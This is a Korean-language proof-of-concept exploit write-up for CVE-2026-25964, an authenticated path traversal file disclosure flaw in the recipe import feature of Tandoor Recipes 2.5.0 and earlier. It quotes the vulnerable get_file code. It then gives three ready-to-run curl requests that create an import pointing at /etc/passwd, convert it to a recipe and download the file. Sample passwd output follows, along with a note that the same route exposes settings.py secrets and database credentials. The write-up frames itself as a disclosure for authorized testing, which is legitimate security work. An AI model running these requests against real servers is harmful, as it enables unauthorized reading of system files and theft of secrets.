
CVE-2026-25964에 대한 개념 증명 익스플로잇으로, Tandoor Recipes의 레시피 가져오기 기능에서 경로 탐색을 통한 인증된 로컬 파일 노출 취약점으로, 임의 파일 읽기를 허용합니다.
레시피 가져오기를 통한 인증된 로컬 파일 노출 PoC
공개: 원래 GHSA-6485-jr28-52xx를 통해 저에 의해 보고됨
⚠️ 승인된 침투 테스트/연구 목적으로만 사용하세요.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-25964 |
| 심각도 | 🟡 중간 |
| CVSS 점수 | 4.9 |
| CVSS 벡터 | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: 경로 탐색, CWE-73: 파일 이름의 외부 제어 |
| 영향받는 제품 | Tandoor Recipes ≤ 2.5.0 |
| 패치 버전 | 2.5.1 |
| 권고 | GHSA-6485-jr28-52xx |
Tandoor Recipes의 RecipeImport 워크플로우에서 부적절하게 인증된 경로 탐색 취약점(CWE-22) 으로 인해 가져오기 권한이 있는 인증된 사용자가 서버의 임의 파일을 읽을 수 있습니다. 이 취약점은 file_path 매개변수의 입력 검증 부족과 Local 스토리지 백엔드의 불충분한 검사에서 비롯되며, 공격자가 스토리지 디렉터리 제한을 우회하고 민감한 시스템 파일(예: /etc/passwd) 또는 애플리케이션 구성 파일(예: settings.py)에 접근하여 전체 시스템 손상으로 이어질 수 있습니다.
이 취약점은 애플리케이션의 의도된 스토리지 루트에 대해 사용자 제공 입력의 검증 실패로 인해 존재합니다.
/api/recipe-import/ 엔드포인트는 인증된 사용자가 임의의 file_path 및 storage 백엔드로 RecipeImport 객체를 생성할 수 있게 합니다. file_path가 구성된 스토리지 디렉터리 내에 있는지 확인하는 검증이 수행되지 않습니다.cookbook/provider/local.py의 Local.get_file 메서드는 파일 검색 요청을 처리합니다:
@staticmethod
def get_file(recipe):
# 취약점: recipe.file_path에 지정된 경로를 직접 엽니다.
# 스토리지 루트 디렉터리 내에 있는지 확인하지 않습니다.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) 또는 상대 경로(예: ../../app/config.py)를 열 수 있게 합니다.RecipeImport 객체가 import_recipe 작업을 통해 Recipe로 변환되면 악의적인 경로가 유지됩니다. 이후 get_recipe_file 호출은 취약한 읽기 작업을 트리거하여 파일 내용을 사용자에게 반환합니다.
전제 조건: 레시피 가져오기 권한이 있는 인증된 사용자 계정. 기본적으로 이 권한은 제한될 수 있지만, 낮은 권한의 역할에 부여된 경우 영향이 크게 증가합니다. 관리자의 경우에도 애플리케이션 수준 권한이 파일시스템 수준 읽기 권한을 부여해서는 안 되므로 이는 보안 경계 위반을 나타냅니다.
1단계: 악성 가져오기 객체 생성
대상 파일(예: /etc/passwd)을 가리키는 RecipeImport 객체를 생성하기 위해 POST 요청을 보냅니다.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(참고: storage: 1은 일반적으로 기본 로컬 스토리지에 해당합니다. 필요한 경우 조정하세요.)

2단계: 가져오기를 레시피로 변환
영구적인 Recipe 객체를 생성하기 위해 가져오기 프로세스를 트리거합니다. 1단계에서 반환된 import_id(예: 4)를 기록합니다.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(<IMPORT_ID>를 1단계 응답의 ID로 바꾸세요. 이 요청은 새 recipe_id(예: 34)를 반환합니다)

3단계: 임의 파일 다운로드
2단계에서 반환된 새 레시피 id(예: 34)를 사용하여 레시피 파일 엔드포인트를 통해 파일에 접근합니다.
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
결과: 서버가 /etc/passwd의 내용을 반환하여 LFD 취약점을 확인합니다.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd를 읽을 수 있는 능력은 시스템 사용자 열거를 허용합니다./opt/recipes/recipes/settings.py(테스트에서 확인됨) 또는 .env와 같은 인증된 구성 파일을 읽을 수 있습니다. 이는 SECRET_KEY(세션 위조 허용) 및 데이터베이스 자격 증명(직접 데이터베이스 접근 허용)을 노출합니다.